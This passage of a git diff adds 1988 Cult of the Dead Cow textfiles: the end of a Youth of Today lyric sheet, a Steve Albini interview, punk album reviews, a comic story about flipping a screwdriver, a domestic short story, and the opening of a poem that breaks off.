+We're Not In This Alone-Caroline Records +---------------------------------------- + +Porcell- guitar +Walter- bass +Ray of Today- vocals +Sammy- drums + + +Flame Still Burns +----------------- +Made their threats +Ruin your name +Thought I was broken +But the spirit remains + +And this flame will keep on burning strong +And I will still continue to sing this song + +Bad mouthed behind us +Taken their shots +But this tattered body will never be stopped. + +And this flame will keep on burning strong +And I will still continue to sing this song + +We've heard it all before and we're ready for +Some more +If you think I'm gonna break, it's gonna take +More than what you've got! + +Don't count me out +Cause I've got some more +And I'm back with more strength +And vigor than before + +And this flame will keep on burning strong +And I will continue to sing this song +My feelings in the music and the words are written +In stone +And I know I'm not singing this song alone! + + +Slow Down +--------- +Lost the time to live +No time to take +Caught in a cycle that won't give you a break +Tensions running high +I can see it in your eyes +You call that success I call it a lie + +Slow down + +I've got to slow down +Cause I want to see +All of what this world has to offer me +Take a break +Appreciate +Before this lifetime slips away +Slow down + +Try to think back +A long time ago +When life was for living and the pace was slow +Wasn't it worth it? Will you stay? +I hope I don't let it slip away + + +Choose To Be +------------ +Not gonna +Keep up my guard +To prove I'm hard +Or put on some act +To earn your respect + +Cause that's not the type I want to live +And that's not the type of energy I want to give! + +I guess I'm not cool +According to you +For having some friends +Who don't seem to fit in + +Well that's not the type of life I want to live +And that's not the type of energy I want to give! + +I guess you don't see +Cause you seem to be +Real tough +But living in misery + + +Put It Aside +------------ +Maybe I shouldn't have spoken +Just kept my mouth shut +Maybe all the effort didn't help much +Singing for better conditions and hoping +For better days +Not saying we're perfect of looking +For some praise + +Gossip, rumors, just plain lies, and we're on the same side +Gossip, rumors let's put it aside +Fuck, we're on the same side! + +Knowing if I stumble, aware if I fall +I don't need fingers pointed at me if you're not trying at all +Not trying to come off righteous, just always tried to be sincere +Didn't mean to come off so well learned cause I'm just another peer + +I know what I'm shooting for +I know how I felt +And I don't have to prove it to anybody because +I already proved it to myself +No matter where I am in this world +I'll know exactly where I stand +I thought we were on the same side +But at least I know I've tried + + +Wake Up and Live +---------------- +Wake up and live your life +See what there is to see +I won't sit around all day +Cause life means more to me + +So many kids content +To sleep their lives away +But I'm gonna try +To make the most out of this day + +It takes some motivation +It takes some love for life +Why just sit complacent +And let life pass you by? + +Boredom is a choice +I choose not to make +Unlock that door, strive for more +There's a better path to take + +Wake up and live-breathe every breath +Wake up and live-until my death +Wake up and live so much to do +Wake up and live-all of you +C'mon...open your eyes + + +No More +------- +Meateating, flesheating, think about it +So callous to this crime we commit +Always stuffing our face with no sympathy +What a selfish, hardened society + +So no more just looking out for myself... +When the price paid is life of something else +No more I won't participate! + +We've got the power we've got the might +To take what ever is in sight +Not even worried, it's an unfair fight +Well we've got a heart to us what's right so... + +Our numbers are doubling in '88 +Cause the people are starting to educate +Themselves, their friends and their families +And we'll have a more conscious caring society + + +What Goes Around +---------------- +A half ass commitment, a casual act +Shows me the decency that you lack +You're fucking with feelings and fucking with heads +And "live for the moment" is all that you've said + +What goes around comes around so watch yourself +Cause you're falling down + +Abusing, misusing you're out of control +Your mind, spirit and body will take their toll +A slave to your senses, I see nothing more +Cause temporary pleasure is what you strive for + +Taken what you've wanted, stepped on what's in your way +But there will be a price that you'll have to pay +Easy acquaintances, broken friends, happy now +But the loser in the end + +Broken promises, broken hearts +Walk away when the pain starts +You take what's yours you still want more +If you only knew what's in store... + + +Potential Friends +----------------- +Here I sit so shy +Wondering what's going through your mind +Or what you're even like +As time ticks quickly by + +A life so short, incomplete +So many people I'd like to meet +Feeling awkward, afraid +Potential friends I could've made + +Why do we keep to ourselves +And dare not leave our shells? +Let our feelings and emotions blend.. +We could be the best of friends + + +A Time We'll Remember +--------------------- +This is a time that we can live our dreams +And a time so pure, at least it seems + +A simple life a modest one where money plays a minor role +And I pray and I'll try to keep this spirit inside as I start to grow old + +This is an era of creativity, good music, and good friends +And the dreams that we reach for seem to be at the tips of our hands + +And it's getting too late to appreciate and it soon will be the past +But I'll still have these memories, but why can't they last? +Maybe they can! + +This is a time we'll remember + +This is a time with a lot of hope and very little fear +And a time where every move we made seems so sincere + +But when the song is sung and the moment's gone only you'll +Know all we've shared +And I hope that you can rekindle too, this sane feeling in the air + + +Live Free +--------- +Waving your flag, a blind patriot +Can no longer see cause your eyes are shut +"Love it or leave it" is your sentiment +Instead of working for improvement + +But I want to live free +And I won't settle for this mediocrity + +Waving your flag, we're number one +Societies got you under their thumb +Too ignorant to see through their subtle attack +To make us content but we must fight back + +You don't love your country, you just love yourself +Because you sit complacent like everyone else +If you fight for freedom, then do what's right +Put down that flag, protest, and come join the fight + + +Understand +---------- +I'm caught in a rage +I'm ready to fight +My stance is so strong but I've lost my clear sight +Your thoughts and your actions make me want to attack +But I'll try to understand, I'll try to step back + +Takes more strength to +Put down your hands +I've fought before and I know I can +I don't want to get hostile, I'd rather +Understand you +And try to figure out +Why you do what you do + +Cut out that act, better step back +You know we can understand +You feel it inside, you know it's not right +When you know we can understand +Each other + + +Prejudice +--------- +Arguing your point about which race is best +Think you've got some insight, well it's just prejudice +And the more that you argue the more mad you get +Well I don't want to fill myself with hate like that + +You're prejudice..just look at you +You're prejudice..and you're going to be judged too + +You've taken your stance, you've split us apart +Let's see how many bad feelings you can start +Trying to make hatred seem real cool +Keep talking those "facts" you come off the fool + +Unite the race? What? Listen... +We may be the same race but we're not the same +You're cowards looking for someone else to blame +And you're just a few cause most are too smart +To listen to all the shit that you start + + +Keep It Up +---------- +You know it causes more problems +You're not happy at all +Every time you indulge +You realize you fall +All that you've learned +Don't take the wrong turn +If you keep it up you're gonna get burned + +Go ahead keep it up +I hope you don't keep it up + +A position of respect, live up to it +You never liked the trend, that's why you quit +You know what is wrong +You know that you're strong +You knew the whole time that you didn't belong + + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 10/25/88-83 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0084.txt b/textfiles.com/groups/CDC/cDc-0084.txt new file mode 100644 index 00000000..1f195e04 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0084.txt @@ -0,0 +1,209 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Interview With Big Black + + by G.A. Ellsworth + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This is a portion of an interview done with Steve Albini of Big Black. +The (I)nterviewers were Rachel Brickman, Scott Sendra and G.A. Ellsworth, and +the interview was done at the Big Black/Beefeater show on July 5th at the +Graystone. We pretty much set the tape recorder in front of him and let him +go.... + +Big Black is (was): Steve Albini - Guitar and Vocals + Santiago Durango- Guitar + Dave Riley - Bass + Roland - Roland (drum machine) +_______________________________________________________________________________ + + +I: I want to get into this child abuse thing- because in the song "Jordan, + Minnesota," you take a strong stance on it. + +Steve: It's not like we're trying to make any great statement or anything... + I think it's just pretty obvious- people shouldn't be fucking their + kids. I mean that's a pretty manifestive world. That's just a subject + for a song like any other. We're all pretty interested in ridiculous + extremes that people go to for no real reason, just because they have + nothing better to do. That's a pretty extreme situation, where you + have a whole town of people who are actively involved in kid fucking. + +I: Is that fictitious, or is it... + +Steve: Oh no. You ought to look it up. Jordan, Minnesota, 2 years ago, there + were 26 indictments handed down by a district attorney for this group + of people, which is literally about a third of the adult population of + this town, Jordan, Minnesota, who were involved in this elaborate kid + fucking ring. They would play these weird games, they'd play spin the + bottle, they'd get to fuck each other's kids, and they'd take each + other's kids home and things like that. It was really absolutely + staggering, right? All these parents got big-ass lawyers, and the + district attorney was afraid that these kids would collapse under cross + examination, like have nervous breakdowns. With domineering adults + screaming at them that they're lying, of course these kids are going to + flip out. So, they dropped all the charges. Which means all these + kids are going back to their houses, and the exact same shit has got to + be going on. Nothing has changed, basically. I mean, you guys hadn't + even known it had happened- that shows you how much publicity there is + about stuff like this. And now all these kids are back in their + houses. + +I: And it's all the kids now, because the parents are the people they're + supposed to respect. + +Steve: A four year old kid, he has no cognizance of his own personality yet. + He doesn't even know he's a distinct person from everybody else in the + world, and here he is being taught, basically, that the way people + interact is by fucking each other's kids. + +I: The song "Cables"- was there any specific incident that inspired that? + +Steve: There are these guys that I used to know in high school, in Montana; + they just really got off on going to the slaughterhouse for entertain- + ment. Just go to the slaughterhouse and watch the cows get killed. + That was like TV for them. It was that or go home in the trailer park + and get drunk. Sniff glue. There was nothing else to do. One time I + remember specifically this guy telling me about this guy who let him + drag a cow into the stall. The way they do it is pretty cool. They + take a pressurized gun and drive a bolt through the snout of a cow, and + they clip a cable to either side of the bolt. And then there's this + winch that hauls the cow into the stall, and then there's a compression + hammer that crushes the cow's skull. This guy thought this was just + about the coolest process- all this machinery and technology. It's + just another example of what people do for fun. + +I: What does the "Bitch Magnet" by Dave Riley's name on the back cover of + Atomizer mean? + +Steve: Bitch magnet! That just means bitch magnet. Whenever we go anywhere, + Dave like has all these women just follow him. + +I:(Rachel) But are they all bitches? + +Steve: Well, no. Bitch is just a generic term. + +I:(G.A.) You're a feminist, eh? + +Steve: Well, I don't believe you have to be completely dogmatic in your + language to think reasonably. Certainly none of us are sexist in the + traditional sexist notions, or have sexist leanings, right? But + because that's understood, we don't have to keep haranguing on it, to + keep reaffirming to ourselves that we believe what we believe. So once + that's given, once you know what you think, there's no reason to be + ginger about what you say, as long as you know what you mean. I think + that's a rally important thing. A lot of people, they're very careful + not to say things that might offend certain people or do anything that + might be misinterpreted. But what they don't realize is that the point + of all this is to change the way you live your life, not the way you + speak. I have less respect for the man who bullies his girlfriend and + calls her "Ms." than a guy who treats women reasonably and respectfully + and calls them "Yo! Bitch!" The substance is what matters. People who + get the point are going to agree with us philosophically, and we don't + have to explain ourselves to them. People who miss the point, no matter + how much we explain ourselves, aren't going to understand anyway. + +I: You play Detroit a lot. Is there a reason? + +Steve: Oh yeah! Tonight we're playing this show because we want to finish the + video we started a year ago. This video has been the most doomed video- + everything that's possible to go wrong has gone wrong. The last time we + played here the lights went out for the second half of the set, but that + was OK because as it turned out, at the end of the night when we looked + at the tape, one of the cameras had blown a tube so it was just + producing this incredibly snowy, shitty looking image the entire time. + The time we came to Detroit before that and were video taped, some + baboon lost the master tape of the video shoot. There were all these + high school jamokes doing the video taping. One of them like took the + tape home to put a porno movie on it or something- I don't know. + +I: Is the tape going to be released? + +Steve: It should be released on Touch and Go, assuming we get something + salvaged from the three tapes. + +I: We are wondering exactly what the song "Passing Complexion" is about. + +Steve: I couldn't tell you exactly... I could tell you what specific things in + it are.... There's the line, "She would take his children, black and + white, to her own breasts"- there was an Amelia Jackson interview on the + radio that I listened to once, and she was talking about how her mother + would nurse these white parents' children, literally wet nurse them. So + here's this woman who is good enough to take their babies and raise them + and feed them off her breast, but she wasn't good enough to sit in their + living room. There was basically a whole third class of citizens who + were black people who were pale enough to be accepted into gentile + company if they were entertainers, if they were businessmen in town or + something like that. They had passing complexion- they weren't so dark + that people had to think of them as black people, they could sort of + construe in their mind that they were white people IF it were + convenient. If there was some reason to, they could think of them as + white people. There were only two divisions in society- the rich, + upper-crust white class or just another darky, and the divisions were so + obvious, so they all tried to fit into white, gentile society. That's + where the whole industry developed for hair straightening and skin + lightening. Like Porcelana Fading Cream was originally developed to + lighten Negro skin. + +I: That's so warped. + +Steve: It's bizarre, but it's real. I think that's the main thing we're all + interested in, for the subject matter for our songs goes. It's sorta + like a Ripley's Believe It or Not. If you have an interest in things + sort of out of the ordinary, and you stumble across something like this, + you think, "This can't be!" But it turns out to be true, and that makes + it even wilder. Like today- we're driving down the highway and we + counted thirty mufflers by the side of the road. Thirty fucking + mufflers! In a span of about four miles. (laughter) Detroit is + Muffler Hell. I've never seen that many mufflers by the side of the + road in my life. And where in the world would you go except Detroit to + see that many mufflers? + +Steve: (following discussion of band economics and such) So, in short, we are + perfectly satisfied with the number of people who like the band. It + wouldn't bother us at all if half that many did. I don't think it would + change anything if ten times as many came to see us. It wouldn't change + the way we do anything, it wouldn't change the number of people that + give a shit, it wouldn't change the effect of the band- it would just be + more bodies. The additional bodies wouldn't care any more, they'd just + be warm. + +I: So you don't think you get through to anyone, there isn't anyone who can + get something from it? + +Steve: Well, somebody walking in cold, knowing nothing about the band might be + turned on by it, but I think that anybody walking in cold and knowing + nothing about it is kind of suspect, because this kind of music has been + around long enough so that people should be aware of what's happening. + Which is not to say everyone should know who we are; what I'm saying is + that if only three thousand people should be enough for us. We have no + interest in expanding our audience beyond the number of people that + really give a shit.... If there are ten people in the audience, or a + thousand people in our audience, there are probably only three or four + that catch on. Three or four that have some idea of what we're doing. + Most of them, they may appreciate some of it, they may like some of it, + some of it may affect them physically, some of it may affect them + intellectually, but as far as people grooving on the same mania, there + aren't more than two or three sockets that any plug can fit into, and + we're a very specific taste. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by G.A. Ellsworth 11/22/88-84 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0085.txt b/textfiles.com/groups/CDC/cDc-0085.txt new file mode 100644 index 00000000..b03077a0 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0085.txt @@ -0,0 +1,161 @@ + + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + cDc core #1 + + original album reviews + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +--BOLD: Speak Out (Revelation) + +This is generic NY straight edge. Same dull lyrics, same dull guitars with +metal riffs here and there, same dull vocals. The usual Revelation release. +In all, it's ok, but nothing new here. ** + + +--THE CLASH: The Story of the Clash Volume 1 (CBS/Epic) + +The Clash. The most commercially successful "punk rock" band, and one of the +first "political" bands. This double album seems to have set a new trend in +the music business, releasing a whole bunch of old songs and B-sides as +albums. The first tape contains songs from '77 and '78. (The first album and +Give 'Em Enough Rope). The second side is songs from '79 on which includes +London Calling, Sandinista, and Combat Rock. There are no songs from Cut the +Crap, their dreadful 1985 release. On the third side is a segment of +interviews with the band that seem to be thrown together. I don't understand +why they called this "Volume 1" since they've put EVERY good song on this +album. I'm assuming that Volume 1, means a Volume 2 in the future. There's +also a picture of Mick Jones, Joe Strummer, Paul Simonon, and Topper Headon, in +the inside cover, which was the band's best line-up. (Other members included +guitarist Keith Levine, drummer Terry Chimes, keyboardist Micky Gallagher and +drummer Peter Howard. *** + + +--DAYGLO ABORTIONS: Here Today, Guano Tomorrow (Fringe) + +The first thing you have to say about this is the inside jacket picture. I +wouldn't want to spoil it for you, but I think its the greatest album picture +of the year. (Note: This album is hard to find now, because of people going +berzerk over the picture.) Now for the music. This album is speed metal, +which made it hard for me to like, despite the hilarious lyrics. The only song +I liked on the first side is "Hide The Hamster", another "buttjammer" song +similar to MOD's "A.I.D.S." The second side is a lot less metalish, and I +enjoyed every song, especially "Kill Johnny Stiff". Whether or not you will +like this depends on your tolerance for metal. ** + + +--DOGGY STYLE: The Last Laugh (National Trust) + +I have always thought of Doggy Style as a pretty interesting hardcore band. +However, I have no idea what the hell this is. It sounds like the Beastie +Boys, rock/rap stuff. 1/2 + + +--MDC: More Dead Cops 1981-1987 (R-Radical) + +This is the fourth album (Millions of Dead Cops, Smoke Signals, and Millions of +Damn Christians being the other three) from this San Francisco band. Like The +Story of the Clash, this isn't new material, just things from the Multi-Death +and Chicken Squawk EP's, and the "John Wayne" 7". However, MDC is a great +band, pretty simple songs, but it's hard to not like this. Unfortunately, a +lyric sheet is not included which is too bad, because MDC has some great +DK-type lyrics. *** + + +--NEW YORK CITY HARDCORE: The Way It Is (Revelation) + +This is an incredible compilation. New York has one of the best HC scenes, and +this album proves it. It includes material from the following bands: Bold, +Nausea, Warzone, Gorilla Biscuits, Trip 6, Breakdown, Youth of Today, Sick of +It All, Krakdown, Side By Side, Youth Defense League, and Supertouch. Warzone +and YOT have two songs each, and they are the two best bands on this album. In +general, most of these bands are very fast, and metal-influenced (No pop-core +like ALL is on here.) But take note, this is not the best of New York. You +could probably fill another album with NY bands that would be just as good or +better than this one. *** + + +--PAGAN BABIES- Next (Hawker) + +This is the debut album from this Philadelphia band. There's nothing new here, +but they play well, and the lyrics are pretty good. The cover of "The Bitch" +by Slaughter and the Dogs is done quite nicely. There's not much here for +vocals though. Poppy singer, all talking. ** 1/2 + + +--RAT MUSIC FOR RAT PEOPLE VOLUME 3 (C.D. Presents) + +Another great compilation, with the emphasis being on California bands. The +following bands are on this: D.I., Corrosion of Conformity, Doggie Style, Raw +Power, Attidude, Naked Raygun, Verbal Abuse, Mojo Nixon a & Skid Roper, White +Flag, Sacrilege, Adrenaline O.D., Frontline, and The Adolescents. The best +songs on this are by D.I., Verbal Abuse, and the Ad's cover of "All Day and All +of the Night" by the Kinks. Every band on this is good, pick it up. *** + + +--SEX PISTOLS: We've Cum For Your Children (Skyclad) + +Yet another Sex Pistols album! I don't think they'll ever stop. But, while +the other albums have basically been "Never Mind..." in a different order, this +is a lot different. It includes: TV interview with Malcom McLaren, studio +version of "Suburban Kid", Steve Jones singing "Here We Go Again", a live +version of "No Lip", a live version of The Stooges "No Fun", studio version of +"Pretty Vacant", studio version of "Revolution In The Classroom", a live +version of "God Save the Queen", the infamous Bill Grundy interview, a studio +version of "E.M.I", a T.V. talking about the "punk cult", and a studio version +of "Submission". All the studios were done while Glen Matlock was still +bassist, so the versions of "Pretty Vacant", "E.M.I", and "Submission" on here +are different from the ones on "Never Mind..." (the only album the Pistols did +as a group). A "grab bag" of stuff. *** + + +--SUICIDAL TENDENCIES: How Will I Laugh Tomorrow When I Can't Even Smile Today? + +This album is a lot different than the first two. They've progressed from +skate rock to thrash metal. I don't like this album but I will say that the +Suicidals have great lyrics and musically, they're 10 times better. ** 1/2 + + +--TOKEN ENTRY: Jaybird (Hawker) + +All the 'zines have been praising this album, and Token Entry certainly +deserves all the praise they get. This is much better than their last album, +Beneath the Streets. A small personnel change occurred, as they dropped a +guitarist. TE is a straight edge band, but you'd never know it because instead +of the typical moronic straight-edge lyrics, Token Entry sings about variety of +things from skating to pornography. The production is incredible thanks to Dr. +Know, guitarist for Bad Brains. Timmmy Chunks, the singer, is one of the best. +Killer guitar licks are to be heard everywhere, and the cover of "Born to Be +Wild" is simply amazing. My favorite album of this issue. *** 1/2 + + +--WARZONE: Don't Forget the Struggle, Don't Forget the Streets (Caroline) + +This is a NYC straight-edge skinhead band. The five members are Italians from +Queens, and this makes the dialogue before "Nitro Jam" humorous. They've got +that NY "heavy" sound, along with a vocalist who sounds like he should be +singing with the Beastie Boys. The lyrics are basically pro-American and +straight-edge rubbish. It's fast and raw which makes it pretty decent album +overall. ** 1/2 + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 11/23/88-85 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0086.txt b/textfiles.com/groups/CDC/cDc-0086.txt new file mode 100644 index 00000000..0d38853e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0086.txt @@ -0,0 +1,113 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Screwdriver Flippin' + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + As we enter the abyss of totally unimaginative text files, we come up +with yet another totally useless one by Sunspot, who never ceases to amaze us +with his virtually endless supply of stupidity and disobjectivity. + + Now, if that was supposed to make sense, I wouldn't have put it in some +stupid t-file, now would I? Eh? + + Well, now that I have successfully wasted 7 lines on philosophical +bullshit, on with the supposed lessons on the fine art of what has come to be +called screwdriver flippin' (flipping for those of us less daring to take a +trip on the wild side). Actually, there is no art and no such thing. I +actually just came up with the idea while sitting here in front of my idling +word processor (it's Easyscript, by the way, and this is the 17th or so file +I've written with it, God bless the thing. Anyways, I was just sitting here, +staring at this rather ugly eight or so inch screwdriver, with a deformed head +and a disgusting yellowish dirty handle with orange paint sprinkled onto it. +The screwdriver also features a hole through the middle which says, on one +side, "insert wire" and on the other side, "strip" for whatever fiendish +reason man was not left to contemplate. Anyways, so I decided to flip it up in +the air. So I did so, and decided upon the fact that I rather enjoyed wasting +wasting time in such a foolish fashion, and continued my play. After several +more flips, I thought how much more fun it might be to start catching the +screwdriver on the way down, something I had previously neglected to do. So, +on the next flip into the air, I reached out for the screwdriver on its +spinning path to the floor and quite deftly cut myself with the aforementioned +deformed head of the aforementioned screwdriver. So, I quickly cleaned and +bandaged the wound (being an extremely safety-conscious person, especially when +the safety involved is my own!), and proceeded to try to flip again. Before we +proceed, let me take this time to quickly say that "Wild Thing" by the legend +Jimi Hendrix is currently coming from my stereo, so all you people who wonder +where I get my inspiration from, well, now you can say you know, even though +Jimi Hendrix is not the answer. And if you didn't care where I get my inspir- +ation from, well, fuck you. So on with the file! Now that I have been all +nicely bandaged up, I proceeded to flip the screwdriver into the air once more, +this time reaching out and deftly catching it during mid-flip. I was quite +proud of myself needless to say, and had a hearty chuckle all to myself. Upon +completion of my little bout of self-appreciation, I flipped the screwdriver +expertly into the air. (Oh yes, I was becoming quite the flipping connoisseur!) +I then casually stretched out my hand (which was no longer hurting quite so +much, may I add) and caught the gyrating screwdriver with a flick of the wrist. +I was quite ecstatic at that point, and began practicing different ways of +flipping and catching, and soon I felt like quite a bit of an expert on the +subject of screwdriver flipping. Were there to be a contest of the sport +sometime in the near future, I felt quite sure that I would be the proud +victor by a wide margin. Of course, by this time, my wounded appendage was +quite healed, so I removed the bandages from my hand with a smile. Ah, what a +glorious looking gash across my palm! Battle scars of a novice attempting his +first flip! I would wear the torn flesh proudly! So with my now unbandaged +hand, I snapped my wrist and up flew my lifelong friend and partner in +flipping, the glorious instrument making all of this fun possible, the +screwdriver.... Up and up it flew, twirling, spinning, flipping in the air, +catching glints of light reflecting off of its beautiful stainless steel body, +end over end over end, yellow, orange, and silver mixing together, blending, +and forming intricate patterns of color, in a breathtaking display of its +innermost beauty. Then, at the very height of its crescendo, it slowed in the +air, and by God, I swear that it actually stopped for a solid ten seconds in +mid-air, and then began its twisting, twining path to my waiting hand. It +gathered speed as it fell, becoming a whirling dervish of beauty, sparks flying +from it as it slashed through the air around it, anxious for the touch of its +masters hand once more. + "Come to me!" I screamed, "Fly to my hand, straight and true!" And fly +it did. Oh what a glorious sight to behold! Shredding the very air itself, +leaving a vacuum in its wake, on its path to my hand. With a graceful sweep of +the aforementioned hand (you know, the one with the gash in it), I snatched the +missile from heaven out of it's hissing descent and clasped it to my heart in +never-ending joy. Sound, light, and love exploded, as my head was swept in a +wash of color (the reason for this, I later found out, was because upon clasp- +ing the screwdriver to my heart, I had neglected to point the tip away from +myself, thus puncturing my chest with a resounding thunk and pop as I withdrew +it, heedless of the pain. Upon this time I'm quite afraid I fainted and had to +be operated upon for quite a few hours, after which I was returned to my room +with strict instructions to stay away from anything sharp. I sat there, +dejected, until I saw my still-on word processor. I proceeded to type up this +true story about myself and how you should never ever flip screwdrivers, no +matter what! + + And as we reach the conclusion of this story, if you are still reading +it, let me bring to your attention the fact that you have just read far too +many lines of pure, 100%, unpasteurized, fresh, bullshit. This story has +absolutely nothing to do with anything and was written entirely out of suicidal +boredom. And there you were, thinking that you were about to read something +interesting, or if not interesting or educational, at least the slightest bit +worth reading. + +What a fucking gyp. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Sunspot 10/17/88-11/23/88-86 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0087.txt b/textfiles.com/groups/CDC/cDc-0087.txt new file mode 100644 index 00000000..bb45c230 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0087.txt @@ -0,0 +1,114 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + A Tale of Two Sexes + + by Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The sun was setting on the small American home. Its occupants were +the typical nuclear family consisting of a married couple, their two kids, and +a dog. Inside the household, a lone television sportscaster announced the +college football scores for that Sunday afternoon in nasal tones. The TV sat +crouched under countless outdated TV Guide s, which lay scattered across +its dusty, simulated-woodgrain top. The ever-popular excuse for not throwing +these away was that, "The crosswords are educational, you know?" Across +several feet of worn, brown carpet stooped the head of the household, the +father. Much like the television set, he had not moved significantly in years +from the set patterns in his weekly cycle of life. There he sat, weekend after +weekend, in the same position on an old burgundy-red couch. His favorite spot, +the rightmost position on the sofa's pillows, sagged downward from years of his +weight. Creaks groaned from the furniture's wood frame when he sat down or +stood up, as did his middle-aged bones. Physically, he appeared to be older +than he actually was. Years of smoking, "Maybe I should quit... but real men +smoke," had cut his once-powerful voice to a harsh rasp. A bulge in his +stomach sagged from beneath his beer-stained undershirt and spilled over the +top of his belt, like a roll of dough. Years of heavy beer (and not much else) +drinking had bloated his once-strong body with neglect. As he poked at the +television's remote control every few seconds, searching for another game, he +called to his son. + + "Roy... come here, boy. I got a surprise for you." The aging man +cleared the seat on the couch next to his from its large chrome-plated ashtray, +overflowing with cigarette butts. Several of the burnt cigarette remains fell +from the container. These he brushed onto the floor with a pudgy hand. + + "What is it, Pa?" asked his young son, bounding into the room with the +energy of youth. As the boy took a seat beside him, the man thought for a +moment of his children. He and his wife, Elizabeth, had managed to squeeze out +a couple of puppies, a boy and a girl. Looking into his son's eyes, he +remembered that somehow, things were different those ten-odd years ago. The +young couple had waited for children until they had a place of their own, a +house. His mind raced back to their anniversary, the one they spent at that +little cabin in the mountains. It was the last anniversary before the kids +came. God, she was so beautiful... her soft skin, flowing blonde hair, and coy +smile would send his pulse racing and his body would actually shiver. But, +that was a long time ago. And, things were different now. + + Roy bumped into is father as he hopped into the seat beside the man, +bringing him back from his memories. + + "Liz," he called, turning to his wife, "fetch me a beer, darlin'!" + Elizabeth was in the corner of the drab living room, standing over an ironing +board. She was visibly the opposite of her husband, though the same in their +decline. Where Dennis had too much fat, Elizabeth had too little. Her hands +had become thin, with sharply exposed blue veins due to countless hours spent +scrubbing at the household's grime. Her once soft, supple skin had become dry +and thinly stretched across her frail body. Growing bags of skin had formed +beneath her eyes due to the many sleepless nights at the kitchen table, paying +bills and trying to help the kids with their homework. Deep wrinkles had +etched their way into her forehead, tell tale signs of her worry. There was so +much to worry about... the money problems, the growing kids, and most of all, +the loneliness. Dennis was a good man, she thought, but somehow being married +to him wasn't as she thought it would be when she was younger. He just +wouldn't talk to her anymore. She had tried so many times to talk to him... +just to talk as they had before their marriage and during the earlier years. +But now, it wasn't the same. Every attempt at a heartfelt talk was replied +with a request for beer, or food, or the paper, or that damn remote control. +He was so set in his ways, she sighed. Once, she had even dared to ask him for +help with the housework. Well! That was quickly settled. "I work my ass off +all day so you can live a fine life here, loafing around the house all day! +You can sure as hell do your part, too!" He had yelled his reply furiously, +and then slumped back down onto the sofa with a huff to watch the news on TV. +She had considered getting a job, but knew she would be met with the same +response. Divorce had also crossed her mind more than once, but at her age she +doubted that the singles' bar meat racks were for her. And, there were the +kids to consider. She cried often. + + "Liz! The fridge! Get me a beer!" Dennis yelled louder. Elizabeth +sighed, set the iron on end on the board, and headed for the kitchen. She +returned a few seconds later with a can of beer, wordlessly handed it to her +husband, and returned to her ironing. + + "Here ya go, son. Your first beer, drink up!" urged the boy's father +to his smiling son. + + "Dennis! But he's too young! You'll stunt his growth or something!" +the woman squealed from her corner. + + "Bullshit! It'll put some hair on his chest. Now drink up! Yeah, +that's it. Yep... you're gonna grow up to be just like your old man, aren't +you, Roy? Would you like that? You listen to your daddy and you can grow up +to be just like me." + + Elizabeth screamed. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Swamp Rat 11/24/88-87 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0088.txt b/textfiles.com/groups/CDC/cDc-0088.txt new file mode 100644 index 00000000..ffd0584c --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0088.txt @@ -0,0 +1,115 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Armageddon's Coming + a poem + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +I see blood in the future +And the 